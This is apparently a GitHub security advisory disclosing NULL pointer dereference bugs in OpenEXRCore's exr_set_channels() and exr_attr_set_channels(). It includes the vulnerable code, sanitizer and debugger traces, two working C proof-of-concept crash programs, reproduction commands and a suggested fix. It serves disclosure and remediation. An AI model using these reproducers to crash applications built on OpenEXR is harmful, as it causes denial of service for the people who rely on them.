Skip to content

GHSA-mqmw-xv8w-5jh4

CVE Information

Summary

OpenEXRCore has NULL pointer dereference bugs in the channel-list setter paths when a caller supplies num_channels > 0 with entries == NULL.

Two public C API entry points are affected:

exr_set_channels()
exr_attr_set_channels()

Both validate the top-level exr_attr_chlist_t * value, but they do not reject a NULL nested entries pointer when the channel count is nonzero. The code then performs entries + c and dereferences the result.

This is reachable through the public OpenEXRCore C API and causes deterministic crashes / denial of service. The two entry points are the same validation class and should be handled together.

Details

Affected code:

src/lib/OpenEXRCore/channel_list.c
src/lib/OpenEXRCore/part_attr.c

The exr_set_channels() path duplicates the caller-provided list:

exr_result_t
exr_set_channels (
    exr_context_t ctxt, int part_index, const exr_attr_chlist_t* channels)
{
    if (!channels)
        return ctxt->report_error (...);

    ...

    rv = exr_attr_chlist_duplicate (ctxt, &clist, channels);
}

Location on tested main:

src/lib/OpenEXRCore/part_attr.c:658-682

exr_attr_chlist_duplicate() trusts srcchl->entries when srcchl->num_channels is positive:

numchans = srcchl->num_channels;
rv       = exr_attr_chlist_init (ctxt, chl, numchans);
if (rv != EXR_ERR_SUCCESS) return rv;

for (int c = 0; c < numchans; ++c)
{
    const exr_attr_chlist_entry_t* cur = srcchl->entries + c;

    rv = exr_attr_chlist_add_with_length (
        ctxt,
        chl,
        cur->name.str,
        cur->name.length,
        cur->pixel_type,
        ...);
}

Location on tested main:

src/lib/OpenEXRCore/channel_list.c:214-245

The exr_attr_set_channels() path performs the same invalid nested pointer access inline:

numchans = channels->num_channels;
rv       = exr_attr_chlist_init (ctxt, &clist, numchans);
if (rv != EXR_ERR_SUCCESS) return EXR_UNLOCK_AND_RETURN (rv);

for (int c = 0; c < numchans; ++c)
{
    const exr_attr_chlist_entry_t* cur = channels->entries + c;

    rv = exr_attr_chlist_add_with_length (
        ctxt,
        &clist,
        cur->name.str,
        cur->name.length,
        ...);
}

Location on tested main:

src/lib/OpenEXRCore/part_attr.c:1418-1450

Triggering state for both PoCs:

channels.num_channels = 1
channels.num_alloced  = 0
channels.entries      = NULL

For exr_set_channels(), observed ASAN/UBSAN output on latest main commit b25f9dc9af78d662eb45969e9e1cd395082d1f13:

src/lib/OpenEXRCore/channel_list.c:229:62:
runtime error: applying zero offset to null pointer

#0 exr_attr_chlist_duplicate
   src/lib/OpenEXRCore/channel_list.c:229:62
#1 exr_set_channels
   src/lib/OpenEXRCore/part_attr.c:674:18
#2 main
   afl-findings/poc/poc_core_set_channels_null_entries.c:39:12

With UBSAN recovery enabled, it continues to:

src/lib/OpenEXRCore/channel_list.c:234:18:
runtime error: member access within null pointer of type 'const exr_attr_chlist_entry_t'

ERROR: AddressSanitizer: SEGV
SUMMARY: AddressSanitizer: SEGV
src/lib/OpenEXRCore/channel_list.c:234:23 in exr_attr_chlist_duplicate

Observed GDB stack for exr_set_channels():

Program received signal SIGSEGV, Segmentation fault.

#0 exr_attr_chlist_duplicate(
       ctxt=0x516000000080,
       chl=0x7ffff4f001e0,
       srcchl=0x7ffff51000e0)
   at src/lib/OpenEXRCore/channel_list.c:234
#1 exr_set_channels(...)
   at src/lib/OpenEXRCore/part_attr.c:674
#2 main()
   at afl-findings/poc/poc_core_set_channels_null_entries.c:39

For exr_attr_set_channels(), observed ASAN/UBSAN output:

src/lib/OpenEXRCore/part_attr.c:1436:68:
runtime error: applying zero offset to null pointer

#0 exr_attr_set_channels
   src/lib/OpenEXRCore/part_attr.c:1436:68
#1 main
   afl-findings/poc/poc_core_attr_set_channels_null_entries.c:40:12

With UBSAN recovery enabled, it continues to:

src/lib/OpenEXRCore/part_attr.c:1441:22:
runtime error: member access within null pointer of type 'const exr_attr_chlist_entry_t'

ERROR: AddressSanitizer: SEGV
SUMMARY: AddressSanitizer: SEGV
src/lib/OpenEXRCore/part_attr.c:1441:27 in exr_attr_set_channels

Observed GDB stack for exr_attr_set_channels():

Program received signal SIGSEGV, Segmentation fault.

#0 exr_attr_set_channels(...)
   at src/lib/OpenEXRCore/part_attr.c:1441
#1 main()
   at afl-findings/poc/poc_core_attr_set_channels_null_entries.c:40

The same vulnerable source pattern is present in at least:

v3.2.9
v3.3.11
v3.4.12
current main: b25f9dc9af78d662eb45969e9e1cd395082d1f13

PoC

Minimal C reproducer for exr_set_channels():

#include <openexr.h>

#include <unistd.h>

static void
ignore_error (exr_const_context_t ctxt, exr_result_t code, const char* msg)
{
    (void) ctxt;
    (void) code;
    (void) msg;
}

int
main (void)
{
    exr_context_t             ctxt = NULL;
    exr_context_initializer_t init = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                       part = -1;
    const char*               path = "/tmp/openexr_core_set_channels_null_entries.exr";

    init.error_handler_fn = ignore_error;

    if (exr_start_write (&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &init) !=
        EXR_ERR_SUCCESS)
        return 1;
    if (exr_add_part (ctxt, "p", EXR_STORAGE_SCANLINE, &part) !=
        EXR_ERR_SUCCESS)
        return 1;

    exr_attr_chlist_t channels;
    channels.num_channels = 1;
    channels.num_alloced  = 0;
    channels.entries      = NULL;

    (void) exr_set_channels (ctxt, part, &channels);

    (void) exr_finish (&ctxt);
    unlink (path);
    return 0;
}

Minimal C reproducer for exr_attr_set_channels():

#include <openexr.h>

#include <unistd.h>

static void
ignore_error (exr_const_context_t ctxt, exr_result_t code, const char* msg)
{
    (void) ctxt;
    (void) code;
    (void) msg;
}

int
main (void)
{
    exr_context_t             ctxt = NULL;
    exr_context_initializer_t init = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                       part = -1;
    const char*               path =
        "/tmp/openexr_core_attr_set_channels_null_entries.exr";

    init.error_handler_fn = ignore_error;

    if (exr_start_write (&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &init) !=
        EXR_ERR_SUCCESS)
        return 1;
    if (exr_add_part (ctxt, "p", EXR_STORAGE_SCANLINE, &part) !=
        EXR_ERR_SUCCESS)
        return 1;

    exr_attr_chlist_t channels;
    channels.num_channels = 1;
    channels.num_alloced  = 0;
    channels.entries      = NULL;

    (void) exr_attr_set_channels (ctxt, part, "badChlist", &channels);

    (void) exr_finish (&ctxt);
    unlink (path);
    return 0;
}

Reproduction commands on the latest-main validation build:

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \
  /root/openexr_latest_check/openexr-main/latest-check/bin/poc_core_set_channels_null_entries

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \
  /root/openexr_latest_check/openexr-main/latest-check/bin/poc_core_attr_set_channels_null_entries

Expected result:

runtime error: applying zero offset to null pointer
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior

With UBSAN recovery enabled:

ERROR: AddressSanitizer: SEGV

Saved evidence:

evidence/afl-findings/poc/poc_core_set_channels_null_entries.c
evidence/afl-findings/poc/poc_core_set_channels_null_entries.san.out
evidence/afl-findings/poc/poc_core_set_channels_null_entries.recover.out
evidence/latest-main-check/logs/poc_core_set_channels_null_entries.run.out
evidence/latest-main-check/logs/poc_core_set_channels_null_entries.gdb_latest_main.txt
evidence/afl-findings/poc/poc_core_attr_set_channels_null_entries.c
evidence/afl-findings/poc/poc_core_attr_set_channels_null_entries.san.out
evidence/afl-findings/poc/poc_core_attr_set_channels_null_entries.recover.out
evidence/latest-main-check/logs/poc_core_attr_set_channels_null_entries.run.out
evidence/latest-main-check/logs/poc_core_attr_set_channels_null_entries.gdb_latest_main.txt

Impact

This is a public C API NULL pointer dereference / crash in OpenEXRCore channel list setters.

Applications that call exr_set_channels() or exr_attr_set_channels() with untrusted or insufficiently validated channel-list data can be crashed by a nonzero num_channels value with entries == NULL.

Confirmed impact:

availability loss
process crash
public C API denial of service

Not confirmed:

remote code execution
information disclosure
controlled memory corruption beyond the NULL dereference
direct crafted .exr file trigger through the standard reader path

Suggested severity:

Moderate

Suggested CWE:

CWE-476: NULL Pointer Dereference
CWE-20: Improper Input Validation

Suggested fix:

Reject num_channels > 0 && entries == NULL in both public setters and in the shared duplicate helper before any entries + c pointer arithmetic.